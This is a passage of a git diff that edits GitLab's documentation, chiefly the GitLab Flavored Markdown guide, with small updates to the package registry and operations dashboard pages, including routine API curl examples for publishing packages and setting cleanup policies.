standard Markdown: - -- [Color chips written in HEX, RGB or HSL](#colors) +- [Color chips written in `HEX`, `RGB` or `HSL`](#colors) - [Diagrams and flowcharts](#diagrams-and-flowcharts) -- [Emoji](#emoji) +- [Emoji](#emojis) - [Front matter](#front-matter) - [Inline diffs](#inline-diff) - [Math equations and symbols written in LaTeX](#math) -- [Special GitLab references](#special-gitlab-references) - [Task Lists](#task-lists) - [Table of Contents](#table-of-contents) - [Wiki specific Markdown](#wiki-specific-markdown) -It also has [extended Markdown features](#standard-markdown-and-extensions-in-gitlab), without -changing how standard Markdown is used: +Features [extended from standard Markdown](#features-extended-from-standard-markdown): | Standard Markdown | Extended Markdown in GitLab | | ------------------------------------- | ------------------------- | @@ -124,22 +78,23 @@ changing how standard Markdown is used: | [line breaks](#line-breaks) | [more line break control](#newlines) | | [links](#links) | [automatically linking URLs](#url-auto-linking) | -## New GitLab Flavored Markdown extensions +## Features not found in standard Markdown + +The following features are not found in standard Markdown. ### Colors -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colors). +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colors). -It's possible to have color written in HEX, RGB, or HSL format rendered with a color -indicator. +You can write a color in the formats: `HEX`, `RGB`, or `HSL`. -Supported formats (named colors are not supported): +- `HEX`: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` `` +- `RGB`: `` `RGB[A](R, G, B[, A])` `` +- `HSL`: `` `HSL[A](H, S, L[, A])` `` -- HEX: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` `` -- RGB: `` `RGB[A](R, G, B[, A])` `` -- HSL: `` `HSL[A](H, S, L[, A])` `` +Named colors are not supported. -Color written inside backticks is followed by a color "chip": +Colors in backticks are followed by a color indicator: ```markdown - `#F00` @@ -165,8 +120,8 @@ Color written inside backticks is followed by a color "chip": ### Diagrams and flowcharts -It's possible to generate diagrams and flowcharts from text in GitLab using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com). -It's also possible to use [Kroki](https://kroki.io) to create a wide variety of diagrams. +You can generate diagrams and flowcharts from text by using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com). +You can also use [Kroki](https://kroki.io) to create a wide variety of diagrams. #### Mermaid @@ -197,7 +152,7 @@ graph TD; C-->D; ``` -Subgraphs can also be included: +You can also include subgraphs: ````markdown ```mermaid @@ -237,16 +192,17 @@ end #### PlantUML -To make PlantUML available in GitLab, a GitLab administrator needs to enable it first. Read more in [PlantUML & GitLab](../administration/integration/plantuml.md). +To make PlantUML available in GitLab, a GitLab administrator must enable it. For more information, see the +[PlantUML & GitLab](../administration/integration/plantuml.md) page. #### Kroki -To make Kroki available in GitLab, a GitLab administrator needs to enable it first. -Read more in the [Kroki integration](../administration/integration/kroki.md) page. +To make Kroki available in GitLab, a GitLab administrator must enable it. +For more information, see the [Kroki integration](../administration/integration/kroki.md) page. -### Emoji +### Emojis -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji). +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#emojis). ```markdown Sometimes you want to :monkey: around a bit and add some :star2: to your :speech_balloon:. Well we have a gift for you: @@ -270,13 +226,13 @@ If you're new to this, don't be <img src="https://gitlab.com/gitlab-org/gitlab-f Consult the [Emoji Cheat Sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) for a list of all supported emoji codes. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/thumbsup.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> -#### Emoji and your OS +#### Emojis and your operating system -The emoji example above uses hard-coded images for this documentation. Rendered emoji -in GitLab may appear different depending on the OS and browser used. +The previous emoji example uses hard-coded images. Rendered emojis +in GitLab may be different depending on the OS and browser used. -Most emoji are natively supported on macOS, Windows, iOS, Android, and fall back on image-based -emoji where there is no support. +Most emojis are natively supported on macOS, Windows, iOS, Android, and fall back on image-based +emojis where there is no support. <!-- vale gitlab.Spelling = NO --> @@ -291,17 +247,17 @@ this font installed by default. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23331) in GitLab 11.6. Front matter is metadata included at the beginning of a Markdown document, preceding -its content. This data can be used by static site generators such as [Jekyll](https://jekyllrb.com/docs/front-matter/), +the content. This data can be used by static site generators like [Jekyll](https://jekyllrb.com/docs/front-matter/), [Hugo](https://gohugo.io/content-management/front-matter/), and many other applications. -When you view a Markdown file rendered by GitLab, any front matter is displayed as-is, +When you view a Markdown file rendered by GitLab, front matter is displayed as-is, in a box at the top of the document. The HTML content displays after the front matter. To view an example, you can toggle between the source and rendered version of a -[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/README.md). +[GitLab documentation file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md). -In GitLab, front matter is only used in Markdown files and wiki pages, not the other +In GitLab, front matter is used only in Markdown files and wiki pages, not the other places where Markdown formatting is supported. It must be at the very top of the document -and must be between delimiters, as explained below. +and must be between delimiters. The following delimiters are supported: @@ -352,9 +308,9 @@ $example = array( ### Inline diff -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-diff). +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#inline-diff). -With inline diff tags you can display `{+ additions +}` or `[- deletions -]`. +With inline diff tags, you can display `{+ additions +}` or `[- deletions -]`. The wrapping tags can be either curly braces or square brackets: @@ -369,7 +325,7 @@ The wrapping tags can be either curly braces or square brackets: --- -However, the wrapping tags can't be mixed: +However, you cannot mix the wrapping tags: ```markdown - {+ addition +] @@ -379,7 +335,7 @@ However, the wrapping tags can't be mixed: ``` If your diff includes words in `` `code` `` font, make sure to escape each backtick `` ` `` with a -backslash `\`, otherwise the diff highlight don't render correctly: +backslash `\`. Otherwise the diff highlight does not render correctly: ```markdown - {+ Just regular text +} @@ -391,18 +347,18 @@ backslash `\`, otherwise the diff highlight don't render correctly: ### Math -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#math). +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#math). -It's possible to have math written with LaTeX syntax rendered using [KaTeX](https://github.com/KaTeX/KaTeX). +Math written in LaTeX syntax is rendered with [KaTeX](https://github.com/KaTeX/KaTeX). -Math written between dollar signs `$` are rendered inline with the text. Math written -inside a [code block](#code-spans-and-blocks) with the language declared as `math`, are rendered +Math written between dollar signs `$` is rendered inline with the text. Math written +in a [code block](#code-spans-and-blocks) with the language declared as `math` is rendered on a separate line: ````markdown This math is inline $`a^2+b^2=c^2`$. -This is on a separate line +This is on a separate line: ```math a^2+b^2=c^2 @@ -417,71 +373,22 @@ This is on a separate line a^2+b^2=c^2 ``` -_Be advised that KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX._ +_KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX._ -This also works for the Asciidoctor `:stem: latexmath`. For details, see +This syntax also works for the Asciidoctor `:stem: latexmath`. For details, see the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support). -### Special GitLab references - -GitLab Flavored Markdown recognizes special GitLab related references. For example, you can reference -an issue, a commit, a team member, or even an entire project team. GitLab Flavored Markdown turns -that reference into a link so you can navigate between them. - -Additionally, GitLab Flavored Markdown recognizes certain cross-project references and also has a shorthand -version to reference other projects from the same namespace. - -GitLab Flavored Markdown recognizes the following: - -| references | input | cross-project reference | shortcut inside same namespace | -| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- | -| specific user | `@user_name` | | | -| specific group | `@group_name` | | | -| entire team | `@all` | | | -| project | `namespace/project>` | | | -| issue | ``#123`` | `namespace/project#123` | `project#123` | -| merge request | `!123` | `namespace/project!123` | `project!123` | -| snippet | `$123` | `namespace/project$123` | `project$123` | -| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | | -| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` | -| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` | -| label by ID | `~123` | `namespace/project~123` | `project~123` | -| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` | -| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` | -| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` | -| project milestone by ID | `%123` | `namespace/project%123` | `project%123` | -| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` | -| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` | -| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` | -| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` | -| repository file references | `[README](doc/README.md)` | | | -| repository file line references | `[README](doc/README.md#L13)` | | | -| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` | - -1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7. - -For example, referencing an issue by using `#123` formats the output as a link -to issue number 123 with text `#123`. Likewise, a link to issue number 123 is -recognized and formatted with text `#123`. If you don't want `#123` to link to an issue, -add a leading backslash `\#123`. - -In addition to this, links to some objects are also recognized and formatted. Some examples of these are: - -- Comments on issues: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234#note_101075757"`, which are rendered as `#1234 (comment 101075757)` -- The issues designs tab: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs"`, which are rendered as `#1234 (designs)`. -- Links to individual designs: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png"`, which are rendered as `#1234[layout.png]`. - ### Task lists -If this section isn't rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#task-lists). +[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#task-lists). -You can add task lists anywhere Markdown is supported, but only issues, merge requests, and -comments support clicking to toggle the boxes. In other -places, you must edit the Markdown manually to change the status by adding or -removing an `x` inside the square brackets. +You can add task lists anywhere Markdown is supported. -To create a task list, add a specially-formatted Markdown list. You can use either -unordered or ordered lists: +- In issues, merge requests, and comments, you can click to select the boxes. +- In all other places, you cannot click to select the boxes. You must edit the Markdown manually + by adding or removing an `x` in the brackets. + +To create a task list, follow the format of an ordered or unordered list: ```markdown - [x] Completed task @@ -496,13 +403,14 @@ unordered or ordered lists: 1. [x] Sub-task 2 ``` - + ### Table of contents -Add a table of contents to a Markdown file, wiki page, issue request, or merge request -description by adding the tag `[[_TOC_]]` on its own line. -It displays an unordered list that links to subheadings in the document. +A table of contents is an unordered list that links to subheadings in the document. + +To add a table of contents to a Markdown file, wiki page, issue request, or merge request +description, add the `[[_TOC_]]` tag on its own line. ```markdown This is an intro sentence to my Wiki page. @@ -522,14 +430,14 @@ Second section content. ### Wiki-specific Markdown -The following examples show how links inside wikis behave. +The following topics show how links inside wikis behave. #### Wiki - direct page link -A link which just includes the slug for a page points to that page, -_at the base level of the wiki_. +A direct page link includes the slug for a page that points to that page, +at the base level of the wiki. -This snippet would link to a `documentation` page at the root of your wiki: +This example links to a `documentation` page at the root of your wiki: ```markdown [Link to Documentation](documentation) @@ -537,10 +445,10 @@ This snippet would link to a `documentation` page at the root of your wiki: #### Wiki - direct file link -Links with a file extension point to that file, _relative to the current page_. +A direct file link points to a file extension for a file, relative to the current page. -If the snippet below was placed on a page at `<your_wiki>/documentation/related`, -it would link to `<your_wiki>/documentation/file.md`: +If the following example is on a page at `<your_wiki>/documentation/related`, +it links to `<your_wiki>/documentation/file.md`: ```markdown [Link to File](file.md) @@ -548,32 +456,32 @@ it would link to `<your_wiki>/documentation/file.md`: #### Wiki - hierarchical link -A link can be constructed relative to the current wiki page using `./<page>`, +A hierarchical link can be constructed relative to the current wiki page by using `./<page>`, `../<page>`, and so on. -If this snippet was placed on a page at `<your_wiki>/documentation/main`, -it would link to `<your_wiki>/documentation/related`: +If this example is on a page at `<your_wiki>/documentation/main`, +it links to `<your_wiki>/documentation/related`: ```markdown [Link to Related Page](related) ``` -If this snippet was placed on a page at `<your_wiki>/documentation/related/content`, -it would link to `<your_wiki>/documentation/main`: +If this example is on a page at `<your_wiki>/documentation/related/content`, +it links to `<your_wiki>/documentation/main`: ```markdown [Link to Related Page](../main) ``` -If this snippet was placed on a page at `<your_wiki>/documentation/main`, -it would link to `<your_wiki>/documentation/related.md`: +If this example is on a page at `<your_wiki>/documentation/main`, +it links to `<your_wiki>/documentation/related.md`: ```markdown [Link to Related Page](related.md) ``` -If this snippet was placed on a page at `<your_wiki>/documentation/related/content`, -it would link to `<your_wiki>/documentation/main.md`: +If this example is on a page at `<your_wiki>/documentation/related/content`, +it links to `<your_wiki>/documentation/main.md`: ```markdown [Link to Related Page](../main.md) @@ -581,26 +489,75 @@ it would link to `<your_wiki>/documentation/main.md`: #### Wiki - root link -A link starting with a `/` is relative to the wiki root. +A root link starts with a `/` and is relative to the wiki root. -This snippet links to `<wiki_root>/documentation`: +This example links to `<wiki_root>/documentation`: ```markdown [Link to Related Page](/documentation) ``` -This snippet links to `<wiki_root>/miscellaneous.md`: +This example links to `<wiki_root>/miscellaneous.md`: ```markdown [Link to Related Page](/miscellaneous.md) ``` +## GitLab-specific references + +GitLab Flavored Markdown renders GitLab-specific references. For example, you can reference +an issue, a commit, a team member, or even an entire project team. GitLab Flavored Markdown turns +that reference into a link so you can navigate between them. + +Additionally, GitLab Flavored Markdown recognizes certain cross-project references and also has a shorthand +version to reference other projects from the same namespace. + +GitLab Flavored Markdown recognizes the following: + +| references | input | cross-project reference | shortcut inside same namespace | +| :------------------------------ | :------------------------- | :-------------------------------------- | :----------------------------- | +| specific user | `@user_name` | | | +| specific group | `@group_name` | | | +| entire team | `@all` | | | +| project | `namespace/project>` | | | +| issue | ``#123`` | `namespace/project#123` | `project#123` | +| merge request | `!123` | `namespace/project!123` | `project!123` | +| snippet | `$123` | `namespace/project$123` | `project$123` | +| epic **(ULTIMATE)** | `&123` | `group1/subgroup&123` | | +| vulnerability **(ULTIMATE)** (1)| `[vulnerability:123]` | `[vulnerability:namespace/project/123]` | `[vulnerability:project/123]` | +| feature flag | `[feature_flag:123]` | `[feature_flag:namespace/project/123]` | `[feature_flag:project/123]` | +| label by ID | `~123` | `namespace/project~123` | `project~123` | +| one-word label by name | `~bug` | `namespace/project~bug` | `project~bug` | +| multi-word label by name | `~"feature request"` | `namespace/project~"feature request"` | `project~"feature request"` | +| scoped label by name | `~"priority::high"` | `namespace/project~"priority::high"` | `project~"priority::high"` | +| project milestone by ID | `%123` | `namespace/project%123` | `project%123` | +| one-word milestone by name | `%v1.23` | `namespace/project%v1.23` | `project%v1.23` | +| multi-word milestone by name | `%"release candidate"` | `namespace/project%"release candidate"` | `project%"release candidate"` | +| specific commit | `9ba12248` | `namespace/project@9ba12248` | `project@9ba12248` | +| commit range comparison | `9ba12248...b19a04f5` | `namespace/project@9ba12248...b19a04f5` | `project@9ba12248...b19a04f5` | +| repository file references | `[README](doc/README.md)` | | | +| repository file line references | `[README](doc/README.md#L13)` | | | +| [alert](../operations/incident_management/alerts.md) | `^alert#123` | `namespace/project^alert#123` | `project^alert#123` | + +1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222483) in GitLab 13.7. + +For example, referencing an issue by using `#123` formats the output as a link +to issue number 123 with text `#123`. Likewise, a link to issue number 123 is +recognized and formatted with text `#123`. If you don't want `#123` to link to an issue, +add a leading backslash `\#123`. + +In addition to this, links to some objects are also recognized and formatted. Some examples of these are: + +- Comments on issues: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234#note_101075757"`, which are rendered as `#1234 (comment 101075757)` +- The issues designs tab: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs"`, which are rendered as `#1234 (designs)`. +- Links to individual designs: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png"`, which are rendered as `#1234[layout.png]`. + ### Embedding metrics in GitLab Flavored Markdown Metric charts can be embedded in GitLab Flavored Markdown. Read [Embedding Metrics in GitLab flavored Markdown](../operations/metrics/embed.md) for more details. -## Standard Markdown and extensions in GitLab +## Features extended from standard Markdown All standard Markdown formatting should work as expected in GitLab. Some standard functionality is extended with additional features, without affecting the standard usage. @@ -629,7 +586,7 @@ Quote break. #### Multiline blockquote -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiline-blockquote). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#multiline-blockquote). GitLab Flavored Markdown extends the standard Markdown by also supporting multi-line blockquotes fenced by `>>>`: @@ -713,7 +670,7 @@ Tildes are OK too. #### Colored code and syntax highlighting If this section isn't rendered correctly, -[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting). +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colored-code-and-syntax-highlighting). GitLab uses the [Rouge Ruby library](http://rouge.jneen.net/) for more colorful syntax highlighting in code blocks. For a list of supported languages visit the @@ -804,7 +761,7 @@ Strikethrough uses two tildes. ~~Scratch this.~~ #### Multiple underscores in words and mid-word emphasis If this section isn't rendered correctly, -[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#multiple-underscores-in-words). +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#multiple-underscores-in-words). Avoid italicizing a portion of a word, especially when you're dealing with code and names that often appear with multiple underscores. @@ -995,7 +952,7 @@ Do not change to a reference style link. #### Videos -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#videos). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#videos). Image tags that link to files with a video extension are automatically converted to a video player. The valid video extensions are `.mp4`, `.m4v`, `.mov`, `.webm`, and `.ogv`: @@ -1012,7 +969,7 @@ Here's a sample video: #### Audio -If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#audio). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#audio). Similar to videos, link tags for files with an audio extension are automatically converted to an audio player. The valid audio extensions are `.mp3`, `.oga`, `.ogg`, `.spx`, and `.wav`: @@ -1030,7 +987,7 @@ Here's a sample audio clip: ### Inline HTML To see the second example of Markdown rendered in HTML, -[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-html). +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#inline-html). You can also use raw HTML in your Markdown, and it usually works pretty well. @@ -1095,7 +1052,7 @@ Markdown is fine in GitLab. #### Collapsible section To see the second Markdown example rendered in HTML, -[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#details-and-summary). +[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#details-and-summary). Content can be collapsed using HTML's [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) and [`<summary>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary) @@ -1439,26 +1396,32 @@ while the equation for the theory of relativity is E = mc<sup>2</sup>. Tables are not part of the core Markdown spec, but they are part of GitLab Flavored Markdown. 1. The first line contains the headers, separated by "pipes" (`|`). -1. The second line separates the headers from the cells, and must contain three or more dashes. +1. The second line separates the headers from the cells. + - The cells can contain only empty spaces, hyphens, and + (optionally) colons for horizontal alignment. + - Each cell must contain at least one hyphen, but adding more hyphens to a + cell does not change the cell's rendering. + - Any content other than hyphens, whitespace, or colons is not allowed 1. The third, and any following lines, contain the cell values. - You **can't** have cells separated over many lines in the Markdown, they must be kept to single lines, but they can be very long. You can also include HTML `<br>` tags to force newlines if needed. - The cell sizes **don't** have to match each other. They are flexible, but must be separated by pipes (`|`). - You **can** have blank cells. +1. Column widths are calculated dynamically based on the content of the cells. Example: ```markdown | header 1 | header 2 | header 3 | -| --- | ------ |----------| +| --- | --- | --- | | cell 1 | cell 2 | cell 3 | | cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. | | cell 7 | | cell 9 | ``` | header 1 | header 2 | header 3 | -| --- | ------ |----------| +| --- | --- | --- | | cell 1 | cell 2 | cell 3 | | cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. | | cell 7 | | cell 9 | @@ -1467,18 +1430,18 @@ Additionally, you can choose the alignment of text in columns by adding colons ( to the sides of the "dash" lines in the second row. This affects every cell in the column: ```markdown -| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned | -| :--- | :---: | ---: | :----------- | :------: | ------------: | -| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 | -| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 | +| Left Aligned | Centered | Right Aligned | +| :--- | :---: | ---: | +| Cell 1 | Cell 2 | Cell 3 | +| Cell 4 | Cell 5 | Cell 6 | ``` -| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned | -| :--- | :---: | ---: | :----------- | :------: | ------------: | -| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 | -| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 | +| Left Aligned | Centered | Right Aligned | +| :--- | :---: | ---: | +| Cell 1 | Cell 2 | Cell 3 | +| Cell 4 | Cell 5 | Cell 6 | -[In GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#tables), +[In GitLab itself](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#tables), the headers are always left-aligned in Chrome and Firefox, and centered in Safari. You can use HTML formatting to adjust the rendering of tables. For example, you can @@ -1486,13 +1449,13 @@ use `<br>` tags to force a cell to have multiple lines: ```markdown | Name | Details | -|------|---------| +| --- | --- | | Item1 | This is on one line | | Item2 | This item has:<br>- Multiple items<br>- That we want listed separately | ``` | Name | Details | -|------|---------| +| --- | --- | | Item1 | This is on one line | | Item2 | This item has:<br>- Multiple items<br>- That we want listed separately | @@ -1501,7 +1464,7 @@ but they do not render properly on `docs.gitlab.com`: ```markdown | header 1 | header 2 | -|----------|----------| +| --- | --- | | cell 1 | cell 2 | | cell 3 | <ul><li> - [ ] Task one </li><li> - [ ] Task two </li></ul> | ``` @@ -1529,3 +1492,56 @@ entry and paste the spreadsheet: at Daring Fireball is an excellent resource for a detailed explanation of standard Markdown. - You can find the detailed specification for CommonMark in the [CommonMark Spec](https://spec.commonmark.org/current/). - The [CommonMark Dingus](https://spec.commonmark.org/dingus/) helps you test CommonMark syntax. + +## Transition from Redcarpet to CommonMark + +- In GitLab 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet) + was removed. All issues and comments, including those in 11.1 and earlier, are now processed + by using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker). +- In GitLab 11.3 and later, CommonMark processes wiki pages and Markdown + files (`*.md`) in repositories. +- In GitLab 11.1 and later, the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker) + for Markdown processes all new issues, merge requests, comments, and other Markdown + content. + +The documentation website migrated its Markdown engine +[from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108) +in October 2018. + +You may have older issues, merge requests, or Markdown documents in your +repository that relied upon nuances of the GitLab RedCarpet version +of Markdown. Because CommonMark uses slightly stricter syntax, these documents +may now appear differently after the transition to CommonMark. + +For example, numbered lists with nested lists may +render incorrectly: + +```markdown +1. Chocolate + - dark + - milk +``` + +To fix this issue, add a space to each nested item. The `-` must be aligned with the first +character of the top list item (`C` in this case): + +```markdown +1. Chocolate + - dark + - milk +``` + +1. Chocolate + - dark + - milk + +We flag any significant differences between Redcarpet and CommonMark Markdown in this document. + +If you have many Markdown files, it can be tedious to determine +if they display correctly or not. You can use the +[`diff_redcarpet_cmark`](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark) +tool to generate a list of files and the +differences between how RedCarpet and CommonMark render the files. It indicates +if any changes are needed. + +`diff_redcarpet_cmark` is not an officially supported product. diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md index be3454dbd02..29ca3a48e70 100644 --- a/doc/user/operations_dashboard/index.md +++ b/doc/user/operations_dashboard/index.md @@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w The Operations Dashboard provides a summary of each project's operational health, including pipeline and alert status. -The dashboard can be accessed from the top bar, by clicking **More > Operations**. +To access the dashboard, on the top bar, select **Menu > Operations**. ## Adding a project to the dashboard diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md index bc1e59e4ac2..b5170dfa55b 100644 --- a/doc/user/packages/composer_repository/index.md +++ b/doc/user/packages/composer_repository/index.md @@ -120,7 +120,7 @@ You can publish a Composer package to the Package Registry as part of your CI/CD deploy: stage: deploy script: - - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "https://gitlab.example.com/api/v4/projects/$CI_PROJECT_ID/packages/composer"' + - 'curl --header "Job-Token: $CI_JOB_TOKEN" --data tag=<tag> "${CI_API_V4_URL}/projects/$CI_PROJECT_ID/packages/composer"' ``` 1. Run the pipeline. @@ -131,7 +131,7 @@ To view the published package, go to **Packages & Registries > Package Registry* A more detailed Composer CI/CD file is also available as a `.gitlab-ci.yml` template: -1. On the left sidebar, click **Project overview**. +1. On the left sidebar, select **Project information**. 1. Above the file list, click **Set up CI/CD**. If this button is not available, select **CI/CD Configuration** and then **Edit**. 1. From the **Apply a template** list, select **Composer**. diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index 53d191cbcfe..a429e746cf2 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -281,7 +281,7 @@ image: conanio/gcc7 create_package: stage: deploy script: - - conan remote add gitlab https://gitlab.example.com/api/v4/packages/conan + - conan remote add gitlab ${CI_API_V4_URL}/projects/$CI_PROJECT_ID/packages/conan - conan new <package-name>/0.1 -t - conan create . <group-name>+<project-name>/stable - CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload <package-name>/0.1@<group-name>+<project-name>/stable --all --remote=gitlab diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index 6d7b009bb09..9d65c5d37ad 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -512,6 +512,17 @@ On GitLab.com, the execution time for the cleanup policy is limited, and some of the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included, so it may take multiple runs for all tags to be deleted. +WARNING: +GitLab self-managed installs support for third-party container registries that comply with the +[Docker Registry HTTP API V2](https://docs.docker.com/registry/spec/api/) +specification. However, this specification does not include a tag delete operation. Therefore, when +interacting with third-party container registries, GitLab uses a workaround to delete tags. See the +[related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15737) +for more information. Due to possible implementation variations, this workaround is not guaranteed +to work with all third-party registries in the same predictable way. If you use the GitLab Container +Registry, this workaround is not required because we implemented a special tag delete operation. In +this case, you can expect cleanup policies to be consistent and predictable. + ### Create a cleanup policy You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the UI. @@ -633,7 +644,9 @@ Examples: - Select all tags, keep at least 1 tag per image, clean up any tag older than 14 days, run once a month, preserve any images with the name `master` and the policy is enabled: ```shell - curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2" + curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" \ + --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' \ + "https://gitlab.example.com/api/v4/projects/2" ``` Valid values for `cadence` when using the API are: diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md index b871a08c133..f0bf2fc3363 100644 --- a/doc/user/packages/index.md +++ b/doc/user/packages/index.md @@ -46,7 +46,6 @@ guides you through the process. | Puppet | [#36897](https://gitlab.com/gitlab-org/gitlab/-/issues/36897) | | RPM | [#5932](https://gitlab.com/gitlab-org/gitlab/-/issues/5932) | | SBT | [#36898](https://gitlab.com/gitlab-org/gitlab/-/issues/36898) | -| Terraform | [Draft: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) | | Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) | <!-- vale 